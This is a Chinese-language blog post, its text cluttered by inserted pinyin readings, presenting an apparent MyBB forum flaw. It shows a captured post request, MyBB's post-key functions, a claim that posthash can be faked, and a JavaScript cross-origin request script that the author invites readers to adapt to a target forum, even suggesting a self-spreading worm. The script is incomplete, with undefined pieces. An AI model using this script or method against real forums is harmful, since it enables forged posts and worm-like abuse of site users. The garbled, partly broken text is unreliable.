知名論壇系統MyBB被爆0day漏洞
MyBB是國(guo)際(ji)上非常優秀(xiu)的免(mian)費論(lun)(lun)壇(tan)軟件,最大的特色是簡單但是功(gong)能卻出奇的強大。支持多國(guo)語(yu)言(yan),可(ke)(ke)以分別設(she)(she)置前臺(tai)后臺(tai)的語(yu)言(yan),每(mei)個(ge)用戶都可(ke)(ke)以設(she)(she)置自(zi)己使用何種語(yu)言(yan)訪(fang)問論(lun)(lun)壇(tan)包括自(zi)己的時區(qu)等,自(zi)定(ding)義功(gong)能強大到(dao)沒有做不到(dao)只有想(xiang)不到(dao)。
漏洞影響(xiang)多個版(ban)本
本(ben)次影響版(ban)本(ben):1.6x & 1.8x
測試版(ban)本(ben):1.8.3 (最(zui)新(xin)), 以(yi)及1.6.16 (1.6系列最(zui)新(xin))
正是(shi)因為其(qi)強(qiang)大(da)影響力,我便(bian)開始(shi)肆(si)意玩耍MyBB以(yi)及監控請求,在此期間我注意到一些極有可(ke)能(neng)導致漏(lou)洞出現的(de)東西,這(zhe)些都已經在多個站點上進行了測試。
測試過程
首(shou)先損(sun)壞MyBB很簡(jian)單(dan)。當你去發布一個(ge)新的(de)帖子(zi),在提交時它會請求(qiu)一些東西,以下為來自Hackforums論壇post請求(qiu)的(de)示例:
POST //www.hackforums.net/newreply.php?tid=4602700&processed=1 HTTP/1.1
Host: www.hackforums.net
User-Agent: Mozilla/5.0 (Windows NT 5.3; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: //www.hackforums.net/newreply.php?tid=4602700
Cookie: *
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------71842462512788
Content-Length: 1588
------71842462512788
Content-Disposition: form-data; name="my_post_key"
******
------71842462512788
Content-Disposition: form-data; name="message_new"
Hey dude, I love your site Omni. Can I get a free upgrade?
------71842462512788
Content-Disposition: form-data; name="message"
Hey dude, I love your site Omni. Can I get a free upgrade?
------71842462512788
Content-Disposition: form-data; name="submit"
Post Reply
------71842462512788
Content-Disposition: form-data; name="action"
do_newreply
------71842462512788
Content-Disposition: form-data; name="replyto"
------71842462512788
Content-Disposition: form-data; name="posthash"
******
------71842462512788
Content-Disposition: form-data; name="attachmentaid"
------71842462512788
Content-Disposition: form-data; name="attachmentact"
------71842462512788
Content-Disposition: form-data; name="subject"
*
------71842462512788
Content-Disposition: form-data; name="quoted_ids"
------71842462512788
Content-Disposition: form-data; name="tid"
4602700
------71842462512788--
對(dui)于MyBB這(zhe)個(ge)(ge)系(xi)統我們已經了解它(ta)(ta)的(de)一(yi)些字(zi)(zi)(zi)段了,其中第一(yi)個(ge)(ge)就(jiu)是post key,如(ru)果沒有(you)這(zhe)個(ge)(ge)字(zi)(zi)(zi)段,我們就(jiu)不能發送任(ren)何帖子。獲取這(zhe)個(ge)(ge)key十分簡單,稍后我們會(hui)進行詳細解釋(shi)。現在(zai)我們需要(yao)獲取的(de)是posthash,posthash僅(jin)僅(jin)只是一(yi)個(ge)(ge)MD5字(zi)(zi)(zi)符(fu)串(chuan),只需創建一(yi)個(ge)(ge)有(you)效(xiao)的(de)MD5字(zi)(zi)(zi)符(fu)串(chuan)就(jiu)可以繞過它(ta)(ta)。我可以告訴你這(zhe)是因(yin)為占位符(fu)的(de)原因(yin),但(dan)是深究(jiu)其內在(zai)不是我們今天要(yao)討(tao)論的(de)問題(ti)。
盯(ding)著message_new和message字(zi)段(duan)(duan),MyBB會(hui)提交這(zhe)兩個字(zi)段(duan)(duan),然而它僅顯示(shi)message字(zi)段(duan)(duan)中(zhong)(zhong)(zhong)的內容,而不(bu)會(hui)顯示(shi)message_new字(zi)段(duan)(duan)中(zhong)(zhong)(zhong)的內容。所以你可以在之前的帖子message_new字(zi)段(duan)(duan)中(zhong)(zhong)(zhong)寫入cocks,當然你無法從帖子中(zhong)(zhong)(zhong)看出(chu)與之前有什(shen)么不(bu)同。
如何(he)生成post key
post key會(hui)依賴以下函數:
function generate_post_check() { global $mybb, $session; if($mybb->user['uid']) { return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']); } // Guests get a special string else { return md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryption_key']); } }
接(jie)著驗證(zheng)post key是否調用該函(han)數:
function verify_post_check($code, $silent=false) { global $lang; if(generate_post_check() != $code) { if($silent == true) { return false; } else { if(defined("IN_ADMINCP")) { return false; } else { error($lang->invalid_post_code); } } } else { return true; } }
然后(hou)我(wo)們會看到它在查找loginkey, salt, regdate信(xin)息。現在我(wo)們獲取這些信(xin)息是(shi)(shi)相當的容易(我(wo)不想過多解釋,這個(ge)確實太(tai)容易了)一旦獲得post key,只要(yao)其是(shi)(shi)可用(yong)的并且用(yong)戶(hu)還未更(geng)改(gai)(gai)密碼(目前大(da)多數論壇用(yong)戶(hu)很少有經(jing)常修改(gai)(gai)密碼的習慣)。
好了,這就開始(shi)我們的(de)(de)攻擊(ji)。首先我們需(xu)要確定一(yi)(yi)(yi)個(ge)攻擊(ji)目(mu)標(我在本機(ji)上搭(da)建了一(yi)(yi)(yi)個(ge)站點(dian)),接著我寫了一(yi)(yi)(yi)個(ge)CORS腳本,然后(hou)用戶(hu)通(tong)過瀏覽器點(dian)擊(ji)一(yi)(yi)(yi)個(ge)用來(lai)請求帖子內容的(de)(de)URL,URL在另(ling)一(yi)(yi)(yi)端獲取到(dao)請求后(hou),進(jin)行處理(li)但是不會進(jin)行消(xiao)息提示。假設(she)你構(gou)造了一(yi)(yi)(yi)個(ge)合法的(de)(de)請求,你將會看到(dao)網頁的(de)(de)變化。
如何(he)使用
基(ji)于不同的(de)(de)需(xu)求,可以(yi)構造不同的(de)(de)請求。這(zhe)可用于提(ti)交帖子,獲取論壇榮譽點(dian)等(deng)。如果你想把這(zhe)個漏(lou)洞(dong)搞的(de)(de)像是蠕蟲病毒一般,只需(xu)每(mei)個訪問到帖子的(de)(de)人都在這(zhe)個帖子下面繼續(xu)回(hui)復(這(zhe)個需(xu)要把更多的(de)(de)精力放在獲取post key上),說(shuo)實話這(zhe)種可能非常高!
CORS代碼
注意:這只是來自appsec-labs的示例代碼,你需要進行一些修改以適合你的攻擊目標:
// I suggest adding jQuery to top of file // You will have to modify the code to make it more useable as I won't be modifying it for you. var url = '//forum.mytarget.com/'; $(document).ready(function() { corsMyBBPost(); }); function corsMyBBPost() { for(i=0; i<times; i++) { cors_send("post", url + "?proof_of_concept=1&req_num=" + i, "post=data", false); } } function cors_send(method, url, data, credentials) { var cors; if (window.XDomainRequest) { cors = new XDomainRequest(); if (cors) { cors.onprogress = function() { CORSstatus("Process") }; cors.onload = function() { CORSresult(cors.responseText) }; } else CORSstatus("Browser does not support Cross Origin Request"); } else if (window.XMLHttpRequest) { cors = new XMLHttpRequest(); cors.onreadystatechange = function() { if (cors.readyState == 4) CORSresult(cors.getAllResponseHeaders(), cors.responseText); else CORSstatus("Process"); } } else { CORSstatus("Browser does not support AJAX"); } method = method.toUpperCase(); if (method == "POST" || method == "PUT") cors.open(method, url, data); else cors.open(method, url); if (credentials) cors.withCredentials = "true"; cors.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); cors.send(data); CORSstatus("Cross Origin Resource Sharing - Start"); } function CORSstatus(msg) { console.log(msg); } function CORSerror(msg) { console.log("Oh shit..." + msg); }
不加任何修飾,這代碼十分簡潔。在此我不會描述如何盜取post key的方法,如果你自己有何領悟那是你自己的事情。
最后,希望大家能(neng)夠從中(zhong)多學多一(yi)些東西。
